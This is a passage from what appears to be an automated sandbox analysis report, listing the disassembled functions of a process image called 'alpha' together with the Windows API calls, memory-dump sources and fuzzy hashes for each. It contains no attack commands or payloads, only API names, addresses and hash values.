                                                                                                                                                                                                                                  • NtFsControlFile.NTDLL ref: 00D3C392
                                                                                                                                                                                                                                  • RtlNtStatusToDosError.NTDLL ref: 00D3C39D
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D3C3A4
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 00D3C3B6
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D3C3D1
                                                                                                                                                                                                                                  • RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D3C3E2
                                                                                                                                                                                                                                    • Part of subcall function 00D3C5F2: memset.MSVCRT ref: 00D3C62E
                                                                                                                                                                                                                                    • Part of subcall function 00D3C5F2: memset.MSVCRT ref: 00D3C656
                                                                                                                                                                                                                                    • Part of subcall function 00D3C5F2: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 00D3C6C7
                                                                                                                                                                                                                                    • Part of subcall function 00D3C5F2: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 00D3C6E6
                                                                                                                                                                                                                                    • Part of subcall function 00D3C5F2: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 00D3C72A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememcpy$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 223857506-0
                                                                                                                                                                                                                                  • Opcode ID: 8634cda6a9db35ce913d5ef48ba339e5fe586b3ea8cb620af583c6c2dab1a088
                                                                                                                                                                                                                                  • Instruction ID: 186fd2f786f3435f165aa2532923f8ed90ca380e751686cfa13bb61c2bcc92f8
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8634cda6a9db35ce913d5ef48ba339e5fe586b3ea8cb620af583c6c2dab1a088
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6D519D75A10215ABCB159BB8DC09ABFB7B8EF48304F18812AE802E7251E774DD018BB4
                                                                                                                                                                                                                                  Function 00D19310 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 249timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00D3E590,?,00002000), ref: 00D19342
                                                                                                                                                                                                                                  • SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D19356
                                                                                                                                                                                                                                  • FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 00D1936A
                                                                                                                                                                                                                                  • FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D1937E
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00001003,?,00000080), ref: 00D2BC07
                                                                                                                                                                                                                                  • GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000002,?,?,?,00000020), ref: 00D2BD31
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Time$File$System$FormatInfoLocalLocale
                                                                                                                                                                                                                                  • String ID: %02d%s%02d%s$%2d%s%02d%s%02d%s%02d$HH:mm:ss t
                                                                                                                                                                                                                                  • API String ID: 55602301-2516506544
                                                                                                                                                                                                                                  • Opcode ID: 0b3692eefa0f86321b4e8ffb3fbabf266671ac748bd2f9acfb314b7aae41fe3f
                                                                                                                                                                                                                                  • Instruction ID: 3f233c86ed3d1095189d2eab7bc4f4b8a99109611a3bb8eafce7ccdf2975ed20
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0b3692eefa0f86321b4e8ffb3fbabf266671ac748bd2f9acfb314b7aae41fe3f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A38107759002399ACF249F64EC54AFEB3B8EF54315F4841ABE84AD7240EB719E85CB70
                                                                                                                                                                                                                                  Function 00D2589A Relevance: 15.1, APIs: 10, Instructions: 106memoryfileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,?,00000000,00000000,00000002,00000000,00000000,?,00D259D0,?,00D16054,-00001038,00000000,?,?), ref: 00D258BB
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D258CD
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000014,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D25944
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D2594B
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D2596C
                                                                                                                                                                                                                                  • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D25973
                                                                                                                                                                                                                                  • FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D2598F
                                                                                                                                                                                                                                  • FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D259B6
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D3160B
                                                                                                                                                                                                                                  • FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D31618
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FindHeap$AllocCloseErrorFileLastProcess$FirstNext
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3609286125-0
                                                                                                                                                                                                                                  • Opcode ID: 6953511b5d191a80b898db97cf8f8208217e3a5b0a72f87e5fd9e407afd15297
                                                                                                                                                                                                                                  • Instruction ID: af4f219ca1a6cd721652f31e30f4f0637a190261cbad264fea356d3c733ab828
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6953511b5d191a80b898db97cf8f8208217e3a5b0a72f87e5fd9e407afd15297
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C131AE35201711EFDB148F28FC08E6A7BA5EB5633AF244619E996C33E4D73198419F32
                                                                                                                                                                                                                                  Function 00D24759 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL(?,?,00000000,?), ref: 00D24782
                                                                                                                                                                                                                                  • NtOpenFile.NTDLL ref: 00D247D4
                                                                                                                                                                                                                                  • RtlReleaseRelativeName.NTDLL(?), ref: 00D247E0
                                                                                                                                                                                                                                  • RtlFreeUnicodeString.NTDLL(?), ref: 00D247EA
                                                                                                                                                                                                                                    • Part of subcall function 00D24823: NtQueryVolumeInformationFile.NTDLL ref: 00D2484F
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(000000FF), ref: 00D2480E
                                                                                                                                                                                                                                  • DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000001), ref: 00D3096F
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D3097D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$NamePathRelative$CloseDeleteErrorFreeHandleInformationLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
                                                                                                                                                                                                                                  • String ID: @
                                                                                                                                                                                                                                  • API String ID: 2968197161-2766056989
                                                                                                                                                                                                                                  • Opcode ID: 8341332d1bd966652a1103079833d7d7f409c4c5f7a3703e4d58204ff594ec46
                                                                                                                                                                                                                                  • Instruction ID: b1b2b194d1ecb1cfc1f17c548966dcfd497ee49f48031f6cc25fef0148aa445b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8341332d1bd966652a1103079833d7d7f409c4c5f7a3703e4d58204ff594ec46
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 10217E71E00329AFDB10DFA9D848ADEBBB8EB44725F144125EA06F3251D7709E048B70
                                                                                                                                                                                                                                  Function 00D37460 Relevance: 13.6, APIs: 9, Instructions: 66filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D37483
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D37495
                                                                                                                                                                                                                                  • fprintf.MSVCRT ref: 00D374BB
                                                                                                                                                                                                                                  • fflush.MSVCRT ref: 00D374C9
                                                                                                                                                                                                                                  • TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D374E2
                                                                                                                                                                                                                                  • NtCancelSynchronousIoFile.NTDLL(00000000,00000000), ref: 00D374F8
                                                                                                                                                                                                                                  • ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D374FF
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D3751C
                                                                                                                                                                                                                                  • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00D37524
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CriticalExclusiveLockSection$AcquireBufferCancelConsoleEnterFileFlushInputLeaveReleaseSynchronous_get_osfhandlefflushfprintf
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3139166086-0
                                                                                                                                                                                                                                  • Opcode ID: 392cd43f275992432c31fc3cbecac8f8dca96bc7549fa6ab665059fd62518527
                                                                                                                                                                                                                                  • Instruction ID: 92b14cf15084e1e9289c355aea07fb96ac76ee48237071daa54199486fdb1a1e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 392cd43f275992432c31fc3cbecac8f8dca96bc7549fa6ab665059fd62518527
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5C11B670104320AFDB356FA8EC0EB7A3B28EF05756F080119F906D52E1DB759941CA76
                                                                                                                                                                                                                                  Function 00D14E3B Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _setjmp3.MSVCRT ref: 00D14E78
                                                                                                                                                                                                                                    • Part of subcall function 00D18E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D58BF0,00000000,?), ref: 00D18EC3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • NtQueryInformationProcess.NTDLL ref: 00D14F28
                                                                                                                                                                                                                                  • NtSetInformationProcess.NTDLL ref: 00D14F46
                                                                                                                                                                                                                                  • NtSetInformationProcess.NTDLL ref: 00D14FAE
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,00000000), ref: 00D291C8
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Process$Information$Heap$AllocCurrentDirectoryQuery_setjmp3longjmp
                                                                                                                                                                                                                                  • String ID: %9d$P,8w
                                                                                                                                                                                                                                  • API String ID: 4212706909-1842315024
                                                                                                                                                                                                                                  • Opcode ID: 40d1fe89aaacd2f94e73986a82b2a8352340c7d200ef190cbd5107e4f4f159eb
                                                                                                                                                                                                                                  • Instruction ID: ff0b9430593e6e455d31c836f41b80ee469c4bc21b8dd18d805145166ce00580
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 40d1fe89aaacd2f94e73986a82b2a8352340c7d200ef190cbd5107e4f4f159eb
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0A41E6B0904311AFDB10DF69AC45AAABBF5EB45725F14411AFA15D73D0DBB08940CBB2
                                                                                                                                                                                                                                  Function 00D24875 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 376COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D21D90: _wcsnicmp.MSVCRT ref: 00D21E14
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                    • Part of subcall function 00D24BAF: _wcsnicmp.MSVCRT ref: 00D24C1A
                                                                                                                                                                                                                                    • Part of subcall function 00D24BAF: _wcsnicmp.MSVCRT ref: 00D30B39
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D24975
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,-00000001,00000000,-00000001,00000104,00000000,00000001), ref: 00D24ABC
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D24AF4
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D24AFF
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00000000), ref: 00D24B28
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsnicmpwcschr$ErrorLast$AttributesFileiswspacememset
                                                                                                                                                                                                                                  • String ID: COPYCMD
                                                                                                                                                                                                                                  • API String ID: 1068965577-3727491224
                                                                                                                                                                                                                                  • Opcode ID: cca89a4dde4fc1684e544eec906a2f35d17b0015b4aa848298c18833e0da51ce
                                                                                                                                                                                                                                  • Instruction ID: 0463cc55648fc6148154c7865dee1f185598884cc79c21fc6f1bbf24dce03ef0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cca89a4dde4fc1684e544eec906a2f35d17b0015b4aa848298c18833e0da51ce
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EAD1E735A002259BCB24DF68E895ABAB7F5EF68304F594569DC0AD7381EB30DD81CB70
                                                                                                                                                                                                                                  Function 00D17A34 Relevance: 9.3, APIs: 6, Instructions: 338COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D17A9C
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D17AC7
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00007FE9,?,?,?,?,00000000,?), ref: 00D17BCA
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00007FE9,?,?,?,?,00000000,?), ref: 00D17BDC
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,00007FE9,00007FE9,?,?,?,?,00000000,?), ref: 00D2AE5B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$Heap$AllocProcesslongjmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2656838167-0
                                                                                                                                                                                                                                  • Opcode ID: a6f24c4a88e01e0706d7b5ac0252ba3e807e423406c29e5acff6f1b099f83bc3
                                                                                                                                                                                                                                  • Instruction ID: c0ac78255fa2f5006d4a0108f372cbe4a0680593fcc09733e8fc90033de44f6d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a6f24c4a88e01e0706d7b5ac0252ba3e807e423406c29e5acff6f1b099f83bc3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8BD1EA70A08225AFCB28DF28E8917EAB7B1FF14304F18419DE54A97651DB709EC1CBB5
                                                                                                                                                                                                                                  Function 00D16E57 Relevance: 9.3, APIs: 6, Instructions: 326COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3168844106-0
                                                                                                                                                                                                                                  • Opcode ID: e298c137adeb0cc1d87aeb1215ee6994d013fd08db215802f9bcafcad1f38f03
                                                                                                                                                                                                                                  • Instruction ID: ac2413839eb085000b2f6026f60e561174da9e177a15db32ddee62c00b51b53d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e298c137adeb0cc1d87aeb1215ee6994d013fd08db215802f9bcafcad1f38f03
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4DC1A5356043119BC714EF28E451AAAB7F2EFA9704F18491DF88687351EF31D985CBB2
                                                                                                                                                                                                                                  Function 00D20740 Relevance: 7.8, APIs: 5, Instructions: 290COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D208D9
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D208F3
                                                                                                                                                                                                                                  • wcstol.MSVCRT ref: 00D2090B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcstol$Heap$AllocProcess
